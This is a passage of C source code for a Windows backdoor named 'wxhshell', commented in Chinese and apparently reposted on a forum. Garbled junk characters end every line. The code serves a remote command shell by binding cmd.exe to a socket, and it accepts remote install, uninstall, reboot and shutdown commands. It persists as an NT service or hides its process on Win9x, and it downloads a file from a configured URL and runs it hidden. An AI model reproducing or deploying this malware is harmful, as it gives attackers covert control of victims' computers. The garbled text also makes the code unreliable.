  // 帮助 l2YClK  
  case '?': { @mv G=:k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kksffzG  
    break; [! wJIy?,  
  } iY?#R&  
  // 安装 q~5zv4NX  
  case 'i': { bZ:+q1 D  
    if(Install()) *PV7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \`["IkSg7  
    else X>Q44FV!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K(PSGlI f  
    break; ]!P8{xmb@  
    } Mzg P@tB  
  // 卸载 "S6";G^I  
  case 'r': { V|B4lGS&  
    if(Uninstall()) 64mD%URT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4P*U3&p  
    else \'[tfSB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ii5U) "  
    break; !sEhjJV^7  
    } dlCiqY: }  
  // 显示 wxhshell 所在路径 D29Lu(f  
  case 'p': { FXn98UFY  
    char svExeFile[MAX_PATH]; "4Q_F3?_`  
    strcpy(svExeFile,"\n\r"); UcD<vg"p  
      strcat(svExeFile,ExeFile); Ayg^<)JWh  
        send(wsh,svExeFile,strlen(svExeFile),0); SCe$v76p#  
    break; r-xP 6  
    } WQ8 "Jj?k6  
  // 重启 @x}^2FE  
  case 'b': { G~bDl:k`A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nw+^@|4  
    if(Boot(REBOOT)) C96*,.j~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A~UuH0.  
    else { 3(|,:"9g  
    closesocket(wsh); $N}t)iA  
    ExitThread(0); 0gW{6BtPWm  
    } 3h>L0  
    break; H~vrCi~t"  
    } + jeOZ  
  // 关机 E@xrn+L>-  
  case 'd': { & fWC-|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i^iu #WC  
    if(Boot(SHUTDOWN)) 4k3pm&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $oM>?h_ =  
    else { 1L'Q;?&2H,  
    closesocket(wsh); 3RGmmX"?G  
    ExitThread(0); ^VG].6  
    } dR< d7  
    break; EmrkaV-?k  
    } LL (TD&  
  // 获取shell .zt&HI.F  
  case 's': { vk X+{n  
    CmdShell(wsh); 0L8fpGJ  
    closesocket(wsh); k+?gWZ \  
    ExitThread(0); GiM-8y~  
    break; Dt(D5A  
  } OaY89ko  
  // 退出 ){#INmsF  
  case 'x': { pg7~%E4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JrLh=0i9  
    CloseIt(wsh); |te=DCO  
    break; _6,\;"it?8  
    } w|S b`eR  
  // 离开 3<M yb  
  case 'q': { (7b9irL&cn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {'h&[f>zcQ  
    closesocket(wsh); v&/H6r#E.  
    WSACleanup(); Q4LPi;{\  
    exit(1); Y G8C<g6E7  
    break; nh@JGy*L  
        } 0x5Ax=ut  
  } Dqc GzTz  
  } 46e?%0(  
G,$nq4  
  // 提示信息 b-#{O=B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uF}dEDB|;  
} S ;rd0+J  
  } ! M CV@5$  
fR@Cg sw  
  return; %CvVu)tc  
} *w _o8!3-  
f sh9-iY8e  
// shell模块句柄 lkJxb~S  
int CmdShell(SOCKET sock) C"**>OGe  
{ + jwk4BU  
STARTUPINFO si; `|Di?4+6%  
ZeroMemory(&si,sizeof(si)); #|Lsi`]+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *'A*!=5(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'SlZ-SdR  
PROCESS_INFORMATION ProcessInfo; 1 /{~t[*.  
char cmdline[]="cmd"; h6O'"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !a:e=b7g  
  return 0; @M-w8!.~  
} V?G%-+^  
E' `;  
// 自身启动模式 yn]Sc<uK  
int StartFromService(void) Lhux~,EH  
{ OOXSJE1  
typedef struct 4XER 7c  
{ 1?|"33\03R  
  DWORD ExitStatus; oNPvksdC;  
  DWORD PebBaseAddress; P)f8 lU^z  
  DWORD AffinityMask; g&F$hm  
  DWORD BasePriority; Y ?n4#J<  
  ULONG UniqueProcessId; d ([~o  
  ULONG InheritedFromUniqueProcessId; yc3/5]E&  
}   PROCESS_BASIC_INFORMATION; )}N:t:rry  
.|go$}Fk  
PROCNTQSIP NtQueryInformationProcess; [fT$# '6  
JZxA:dg l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c,;VnZ 9wC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _^(1Qb[  
t'At9<ib  
  HANDLE             hProcess; y6d!?M(0U  
  PROCESS_BASIC_INFORMATION pbi; 579D  
\WC,iA%Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +CdUr~6  
  if(NULL == hInst ) return 0; e_|<tYx><  
Bi \fB-|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IaSPwsvt'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RDHK'PGA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H{5,  -x  
<2 [vR|Q*  
  if (!NtQueryInformationProcess) return 0; obF|;fwPnR  
71AYDO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M_%KhK  
  if(!hProcess) return 0; hLZf A rq}  
H3R{+7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 59j`Z^e  
 {p/Yz#  
  CloseHandle(hProcess); +kYp!00  
]k]bLyz\J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B1~`*~@  
if(hProcess==NULL) return 0; K*DH_\SPK  
\ Xh C  
HMODULE hMod; )6p6<y  
char procName[255]; Nb ~J'"  
unsigned long cbNeeded; Pi?G:IF  
U7n#TPet  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #>:S&R?2t  
Os>&:{D4!  
  CloseHandle(hProcess); (Ytr&gh;0  
Et }%)M  
if(strstr(procName,"services")) return 1; // 以服务启动 K{DmMi];I  
S WTZ6(!oW  
  return 0; // 注册表启动 %SIll  
} ?K2EK'-q  
t~K[`=G\ex  
// 主模块 GEVDXx>@  
int StartWxhshell(LPSTR lpCmdLine) 'do2n/  
{ Uq'W<.v 5  
  SOCKET wsl; S{e3aqT#N  
BOOL val=TRUE; 3zKeN:w  
  int port=0; wt9f2  
  struct sockaddr_in door; iZnLgkk@  
JSju4TQ4  
  if(wscfg.ws_autoins) Install(); ._]Pz 6  
;Krs*3 s  
port=atoi(lpCmdLine); &W<9#RPK'  
"DvZCf[}  
if(port<=0) port=wscfg.ws_port; Lks+FW  
v07A3oj  
  WSADATA data; %2I>-0]B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; af @a /  
p>?(u GV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GQYn |vm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J?Y,3cc.  
  door.sin_family = AF_INET; fP4P'eI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `.~S/$a.&  
  door.sin_port = htons(port); ' #=n>  
N3#^Ifn[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5p~5-_JX  
closesocket(wsl); n>eDN\5  
return 1; eA]8M^  
} xqg4b{  
4,:I{P_>6B  
  if(listen(wsl,2) == INVALID_SOCKET) { Y&,}q_Z:  
closesocket(wsl); 1CZO+MB&"$  
return 1; d42Y `Wu  
} \/ri|fm6l#  
  Wxhshell(wsl); DS%]7,g]  
  WSACleanup(); .7Yox1,  
5({_2meJ:  
return 0; X8*~Cf73u  
F~rl24F  
} Y$,~"$su|  
v36Z*I6)5  
// 以NT服务方式启动 x 4LPrF1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V+lS\E.  
{ Z5U\>7@&8  
DWORD   status = 0; G^h:#T  
  DWORD   specificError = 0xfffffff; g^|R;s{  
(m Yi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *rxYal4ad  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $u ,6x~>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ici4y*`M  
  serviceStatus.dwWin32ExitCode     = 0; 7;TMxO=bra  
  serviceStatus.dwServiceSpecificExitCode = 0; ,37<F XX,  
  serviceStatus.dwCheckPoint       = 0; ;q%z\gA  
  serviceStatus.dwWaitHint       = 0; JBc*m  
*wJz0ex7R/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l-c:'n  
  if (hServiceStatusHandle==0) return; &D-z|ZjgHi  
U&*%KPy`  
status = GetLastError(); 9L-jlAo<  
  if (status!=NO_ERROR) St!0MdCH  
{ SzeY?04zj:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P$y'``  
    serviceStatus.dwCheckPoint       = 0; q4!\^HwQ  
    serviceStatus.dwWaitHint       = 0; vY.VFEP/  
    serviceStatus.dwWin32ExitCode     = status; dJrUcZBr  
    serviceStatus.dwServiceSpecificExitCode = specificError; CflyK@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eG2'W  
    return; s"$K2k;J  
  } 8"d??3ZXJ  
kQ&Q_FSO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 54WX#/<Yik  
  serviceStatus.dwCheckPoint       = 0; ,S(Z\[x0  
  serviceStatus.dwWaitHint       = 0; Hq>hnCT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c]U+6JH  
} YE*|KL^  
K7{B !kX4k  
// 处理NT服务事件,比如:启动、停止 pQ^V<6z}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ct,;V/Dx  
{ F}[!OYyg  
switch(fdwControl) B9 ?58v&  
{ O.y ?q  
case SERVICE_CONTROL_STOP: )@Y< <9'2  
  serviceStatus.dwWin32ExitCode = 0; DS@Yto  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nW\W<[O9  
  serviceStatus.dwCheckPoint   = 0; "|&3z/AUh  
  serviceStatus.dwWaitHint     = 0; oXk6,b"  
  { jvR(e"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UB8n,+R  
  } _~umE/tz  
  return; `h :!^"G  
case SERVICE_CONTROL_PAUSE: 2Rwd\e.z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `) ],FE*:  
  break; 2(\PsN w!  
case SERVICE_CONTROL_CONTINUE: E&t8nlTx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fx1FxwIJ  
  break; d5 {=<j  
case SERVICE_CONTROL_INTERROGATE: *+6iXMwe  
  break; (5:pHX`P  
}; f9y+-GhaD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 92D~trn  
} r.Z g<T  
e9Gu`$K  
// 标准应用程序主函数 ?+Vi !eS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H13\8Te{  
{ 3gJZlH5IR  
bV'r9&[_6  
// 获取操作系统版本 tfm3IX  
OsIsNt=GetOsVer(); 2g_mQT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 74 )G.!  
Tu}EAr  
  // 从命令行安装 =\)zb'\=d  
  if(strpbrk(lpCmdLine,"iI")) Install(); };P=|t(r  
"dOQ)<;  
  // 下载执行文件 <RC%<  
if(wscfg.ws_downexe) { rhaq!s38:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P&[&Dj  
  WinExec(wscfg.ws_filenam,SW_HIDE); (OwGp3g  
} CHO_3QIz  
>@?mP$;=  
if(!OsIsNt) { *""W`x  
// 如果时win9x,隐藏进程并且设置为注册表启动 suWO:]FR  
HideProc(); fY78  
StartWxhshell(lpCmdLine); HSU?4=Q  
} S fY9PNck\  
else %FqQ+0^  
  if(StartFromService()) %yfl-c(u  
  // 以服务方式启动 b *0uxvLu  
  StartServiceCtrlDispatcher(DispatchTable); #< :`:@2  
else >X:!Y[N  
  // 普通方式启动 K]yWpW  
  StartWxhshell(lpCmdLine); UpSJ%%.n  
!5[SNr3^  
return 0; /$\8?<Pc".  
}
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只看该作者 1 发表于: 2006-10-10
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